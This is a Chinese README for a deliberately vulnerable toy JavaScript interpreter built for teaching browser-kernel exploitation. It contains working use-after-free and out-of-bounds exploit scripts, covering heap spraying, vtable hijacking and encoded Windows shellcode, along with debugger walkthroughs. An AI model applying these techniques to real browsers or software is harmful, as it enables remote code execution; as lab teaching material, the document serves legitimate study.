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###vuln_javascript
vuln_javascript
模拟真实的浏览器的JavaScript 环境,通常地,我们使用JavaScript 来精心设计一些操作DOM 和其它浏览器对象的逻辑代码时会使得浏览器产生崩溃,针对不同种类的崩溃有不同的利用方法.vuln_javascript
收集了UAF 和越界读写两种漏洞类型,希望vuln_javascript
可以帮助更多安全爱好者理解浏览器内核漏洞原理和细节还有相关的Exploit 编写技巧.由于vuln_javascript
并不是真正的JavaScript 执行环境,所以现在只支持执行JavaScript 语句很少,可执行的语句如下:<br/><br/>
支持的document 对象 :
document.createElement(); 创建HTML 元素
document.appendChild(); 附加到页面上显示
可以创建的HTML 元素:
img img 图片元素
div div 容器元素
支持的元素内部函数 :
element.remove(); 删除元素
element.getAttribute(); 获取属性
element.setAttribute(); 设置属性
支持的对象内部函数 :
string.substr(offest); 截取字符串
string.substr(offest,len); 截取字符串
string.length(); 获取字符串长度
array.length(); 获取数组长度
支持的JavaScript 基本语句 :
var var_name=expression; 变量声名
for (1;2;3) {code_block}; for 循环语句
if {code_block} [else if {code_line;] [else {code_block}] if 判断语句
function function_name(function_argment_list) {function_code_block} 函数声名语句
支持的表达式计算 :
+ - * / () 四则运算
'' 使用'' 号来表示字符串
== != > >= ... 表达式判断
call(); 函数调用
new IntArray(); 生成数字数组
new IntArray(length); 生成长度为length 的数字数组
new IntArray(num1,num2); 生成长度为2 且包含内容为num1,num2 的数字数组
new ObjArray(); 生成对象数组
new ObjArray(length); 生成长度为length 的对象数组
支持的元素方法 :
var_name.substr(l,b); 元素函数调用
var_name[1]; 设置数组索引
其它的JavaScript 函数 :
console.log(); 输出数据
###vuln_javacript 使用
vuln_javacript.exe
编译完成的EXE 在/Release
路径下可以找到(编译IDE 环境:VC++ 6 ,没有导入任何其它库).<br/><br/>
vuln_javacript.exe
可以选择带参数运行,指定的参数为即将要执行的JavaScript 代码文件路径,例子:<br/><br/>
<br/><br/>
vuln_javacript.exe
也可以不带参数运行,默认以控制台的形式执行代码,例子:<br/><br/>
<br/><br/>
退出控制台模式的命令为quit
..<br/><br/>
WARNING! 有个关于Array 使用的Bug (应用程序崩溃),因为VC++ 6 本身的STL 库设计问题,以后会移植到VC++ 8 ..
###vuln_javascript 执行例子
Example 1 -- 简单的计算: <br/>
var num_1;
var num_2=123;
num_1=321;
console.log(num_1+num_2);
Example 2 -- 简单的if 判断: <br/>
var array=new IntArray(10);
if (array.length())
console.log('alloc success');
else
console.log('alloc falut');
Example 3 -- 简单的函数调用: <br/>
function output(info) {
console.log(info);
}
function calcu() {
var a=1;
for (var index=1;index<=10;index+=1)
a+=index;
return a;
}
output(calcu());
console.log('exit!..');
###漏洞利用部分
####TIPS! 所有的测试都在Debug
选项下的Debug
模式下进行
####1.UaF 原理部分(Use after Free ,重复使用已经被释放了的类)<br/><br/>
所有的HTML 元素在浏览器的内部都是一个类的实例.在vuln_javascript
中,所有关于HTML 元素的操作都在javascript_element.cpp
这个文件里面.img 和div 元素继承HTML 基础元素,同时HTML 基础元素类向下提供一些HTML 元素的通用函数实现方法(也就是getAttribute()
,setAttribute()
和remove()
).<br/>
Uaf 的原理是:当HTML 元素调用了remove() 删除自身并且在堆中释放内存之后,在接下来的代码执行流程中再次调用已经被释放的类时,将会引发释放后重用的漏洞(Use after Free),举个例子:<br/><br/>
<br/><br/>
程序第一次做堆内存申请时,系统会返回申请成功的堆内存地址<br/><br/>
<br/><br/>
接下来第二次堆内存申请也一样,只不过是要申请的大小不同<br/><br/>
<br/><br/>
然后对first_alloc
的申请做了内存释放,最后又做了一次堆内存申请,结果系统返回的地址和第一次申请的地址一样<br/><br/>
<br/><br/>
如果还没有理解UaF 的利用原理,那就看一下下面这几个例子:<br/><br/>
在刚才的示例中,对最后申请的thrid_alloc
做了一次数据复制,最后的输出过程如下:<br/><br/>
<br/><br/>
<br/><br/>
可以看到,对thrid_alloc
的操作影响到了first_alloc
,对于类的操作也同样适用,举个例子<br/><br/>
<br/><br/>
利用UaF 漏洞来远程代码执行,其中的关键就是要修改虚函数表的地址,劫持对类的调用跳转到我们的ShellCode 中,关于C++ 的虚函数表的细节可以百度一下<br/><br/>
Exapmle -- img 对象UaF :<br/><br/> Exploit :<br/>
function exp() {
var jumpcode='%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D%u0D0D';
var expcode='%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u006A%u2E68%u7865%u6865%u6163%u636C%ue589%u4dfe%u3153%u50c0%uff55%u00d7';
var shellcode_length=0x100000;
var rop='%u0D0D%u0D0D';
var rop_length=rop.length();
for (;rop_length<shellcode_length;rop_length=rop.length()) {
rop+=rop;
}
rop+=expcode;
console.log(rop.length());
};
var object=document.createElement('img');
object.setAttribute('a',123);
object.remove();
exp();
object.getAttribute('a');
代码object.remove()
产生了对象的释放,然后调用exp()
函数构造堆内存申请覆盖掉刚才object
对象在堆内的数据,控制虚函数表地址,让接下来的object.getAttribute('a')
调用刚才控制好的地址,跳转到0x0D0D0D0D ,最后通过堆喷射把ROP 在堆中大量占用,让ROP 其中一部分被分配到地址0x0D0D0D0D 处,于是执行ROP 代码最终滑行到expcode
中执行ShellCode ..<br/><br/>
<br/><br/>
####2.Read /Write Out of Bound 原理部分(越界读写)<br/><br/> 假设我们有两个数组:<br/><br/> <br/><br/> 在真实的环境中,这两个数组是有可能是相连的<br/><br/> <br/><br/> 通常情况下,我们都可以正常访问buffer1 里面的数据,假设往buffer1 里面读写数据的时候的时候一不小心就越过了buffer1 本来的长度到了buffer2 呢?<br/><br/> <br/><br/>
Exapmle 1 -- String 对象substr() 越界读取:<br/><br/> Exploit :<br/>
var first_string='test string';
var read_string='read me ...';
var read_string_length=first_string.substr(0x28,4);
var read_string_data=first_string.substr(0x30,read_string.length());
console.log('read_string_length:'+read_string_length);
console.log('read_string_data:'+read_string_length);
当用户声名一个String 类型的变量时,JavaScript 会申请堆内存来保存String 对象的数据<br/>
var string='test string';
console.log(string);
<br/><br/> 根据结构可知:0x0CF1D870 中保存的为字符串长度,0x0CF1D874 为字符串的保存地址,0x0CF1D878 为字符串的数据地址<br/><br/> <br/><br/> substr() 越界读取示例:<br/>
var string='test string';
var read_out_of_bound=string.substr(string.length(),10);
console.log(read_out_of_bound);
运行情况:<br/><br/>
<br/><br/>
接下来我们到javascript_function.cpp string_object_substr()
里面设置断点,执行程序解析脚本,观测数据复制情况<br/><br/>
<br/><br/>
可以看到,substr()
的offset
参数的设置使得memcpy()
直接读取到string 对象的NULL 结束符的位置,然后到javascript_function.cpp console_log()
中设置断点,可以看到即将要输出到控制台的read_out_of_bound 对象的内容<br/><br/>
<br/><br/>
那么我们可以构造两个String 对象,让第一个String 越界读取到第二个String 对象里面,当我们声名了两个String 对象时,堆里面的内容如下<br/>
声名两个String 对象示例代码:
var first_string='test string';
var read_string='read me ...';
console.log('exit');
<br/><br/>
由于这两个字符串在堆里面是连续的,那么我们可以构造好first_string.substr()
的调用参数读取到read_string
里面的内容,首先分析一下substr() 的参数应该如何构造<br/>
first_string 越界读写测试代码一:
var first_string='test string';
var read_string='read me ...';
var read_data=first_string.substr(0,4);
console.log(read_data);
现在到回到javascript_function.cpp string_object_substr()
里面设置断点,可以看到memcpy()
将要从first_string
保存数据的地址中开始复制数据<br/>
<br/><br/>
现在,可以这样计算,read_string
保存数据的地址为0xCEFD848 ,first_string
保存数据的地址为0xCEFD818 ,地址偏移了0x30 ,于是可以构造first_string.substr(0x30,4);
读取到read_string
里面的内容,继续观察javascript_function.cpp string_object_substr()
的执行情况<br/><br/>
first_string 越界读写测试代码二:
var first_string='test string';
var read_string='read me ...';
var read_data=first_string.substr(0x30,4);
console.log(read_data);
<br/><br/>
可以看到,我们已经控制substr()
读取到了read_string
的内容了<br/><br/>
<br/><br/>
由于我们读取的是4 字节的数据,要想完全读取read_data
的内容,只需要把first_string.substr(0x30,4)
修改为first_string.substr(0x30,read_string.length())
即可<br/><br/>
但是只读到内容并没有什么用途,根据之前的分析,我们可以跨过去读取一个对象的信息,比如这样:<br/>
substr() 越界读取object 虚函数表:
var first_string='test string';
var read_object=document.createElement('img');
var read_data=first_string.substr(0x50,4);
console.log(read_data);
现在,请到javascript_element.cpp base_element::base_element()
中设置断点,中断时观察堆里面的数据,可以看到first_string
和read_object
对象的地址偏移动从原来的0x30 变成了0x50 (0xD07D868-0xD07D810=0x50
)<br/><br/>
<br/><br/>
然后再到javascript_function.cpp string_object_substr()
中观察memcpy()
,发现虚函数表已经复制到变量里面中去了<br/><br/>
<br/><br/>
因为substr()
是以String 对象读取出来的,所以会输出的时候会显示错误<br/><br/>
<br/><br/><br/><br/>
Example 2 -- IntArray 数组越界读写<br/><br/> Exploit 1 获取IntArray 类基地址:
var first_array=new IntArray(4);
var read_array=new IntArray(1,2,3,4);
console.log(first_array[0xA]);
上面已经很清楚地述说了越界读取数据的原理,同样地,IntArray 整数数组的读写也存在越界,只不过接下来我们要利用写的方式来覆盖IntArray 原来的虚函数表,利用原理是构造一个指向到我们的Shellcode 的虚函数表来覆盖它,然后再调用指定的函数,控制代码流跳到Shellocode 中,详细的利用代码如下<br/><br/> Exploit 2 远程代码执行:
var write_array=new IntArray(4);
var exploit_array=new IntArray(1,2,3,4);
var read_exploit_virutal_table_array=new IntArray(4);
var exploit_virutal_table=new IntArray(0,0,1);
var read_shellcode_address=new IntArray(4);
var shellcode='%ud231%u30b2%u8b64%u8b12%u0c52%u528b%u8b1c%u0842%u728b%u8b20%u8012%u0c7e%u7533%u89f2%u03c7%u3c78%u578b%u0178%u8bc2%u207a%uc701%ued31%u348b%u01af%u45c6%u3e81%u6957%u456e%uf275%u7a8b%u0124%u66c7%u2c8b%u8b6f%u1c7a%uc701%u7c8b%ufcaf%uc701%u006A%u2E68%u7865%u6865%u6163%u636C%ue589%u4dfe%u3153%u50c0%uff55%u00d7';
exploit_virutal_table[0x2]=read_shellcode_address[0x27];
write_array[0xA]=read_exploit_virutal_table_array[0xD];
exploit_array.length();
首先,通过read_shellcode_address
的越界读取漏洞把shellcode
中的保存数据的地址读取出来,然后存放到构造虚函数表中(exploit_virutal_table
),接下来使用read_exploit_virutal_table_array
越界读取exploit_virutal_table
中储存数据的地址,把读取出来的地址通过write_array
越界写数据到exploit_array
的虚函数表地址中,使得exploit_virutal_table
中精心构造好的虚函数表覆盖掉原来exploit_array IntArray 对象
的虚函数表,最后通过exploit_array.length()
触发exploit_array 对象
调用虚函数,从而控制程序最后执行到shellcode
变量中储存的二进制代码,以下为示意图:<br/><br/>
<br/><br/>
调试代码时,在javascript_array.cpp base_array::get_index
和javascript_array.cpp base_array::set_index
设置断点,观察4 次IntArray 数组在堆中读写数据的细节<br/><br/>
由于exploit_array
和exploit_virutal_table
会初始化IntArray 数组的内容,所以开始的几次断点会中断到javascript_array.cpp base_array::set_index
中,当程序执在javascript_array.cpp base_array::get_index
处中断,意味着执行到read_shellcode_address[0x27]
的读取,从0xCCADA84 处读取到shellcode
的数据指针(0x0CCAD9E8+0x27*0x4=0xCCADA84)<br/><br/>
<br/><br/>
F9 执行到下一处断点,在javascript_array.cpp base_array::set_index
中断,此时执行到exploit_virutal_table[0x2]
的数据写入,把刚才读取到的虚函数表地址保存到数组中,内存空间如下<br/><br/>
<br/><br/>
继续F9 执行,在javascript_array.cpp base_array::get_index
中断,此时执行到read_exploit_virutal_table_array[0xD]
的越界读取,读取exploit_virutal_table
保存数据的地址(0x0CCAD908+0xD*0x4=0x0CCAD93C ,得到0x0CCAD978 也就是刚才构造好的exploit_virutal_table
的数据内容地址)<br/><br/>
<br/><br/>
继续F9 执行,在javascript_array.cpp base_array::set_index
中断,执行到write_array[0xA]
的越接写入,刚好把刚才读出来的地址写到exploit_array
的虚函数表地址里面<br/><br/>
覆盖地址前:<br/>
<br/>
覆盖地址后:<br/>
<br/><br/>
最后一步就是调用exploit_array
的length()
引发虚函数的调用,现在到javascript_function.cpp array_object_length() set_variant(JAVASCRIPT_VARIANT_KEYNAME_FUNCTION_RESULT,(void*)array_class->length(),NUMBER);
中设置断点,并且切换到汇编模式下调试(在代码窗口里面右键鼠标选择跳转到汇编).<br/><br/>
**WARNING!**这里不小心重新启动了程序,地址会有变化,最后的部分主要是说明exploit_array
调用虚函数是如何根据我们构造的数据去走的<br/><br/>
往下执行mov eax,dword ptr [ebp-4]
读取出exploit_array
的类地址<br/><br/>
mov edx,dword ptr [eax]
读取出虚函数表地址,可见地址已经被写成0x0CF0D978 <br/><br/>
<br/><br/>
执行到call dword ptr [edx+8]
,从虚函数表里面读取虚函数length()
的地址,此时length()
地址已经被改写到0x0CF0DA88 <br/><br/>
<br/><br/>
所以接下来会执行call 0x0CF0DA88
,也就是执行shellcode
保存的数据<br/><br/>
<br/><br/>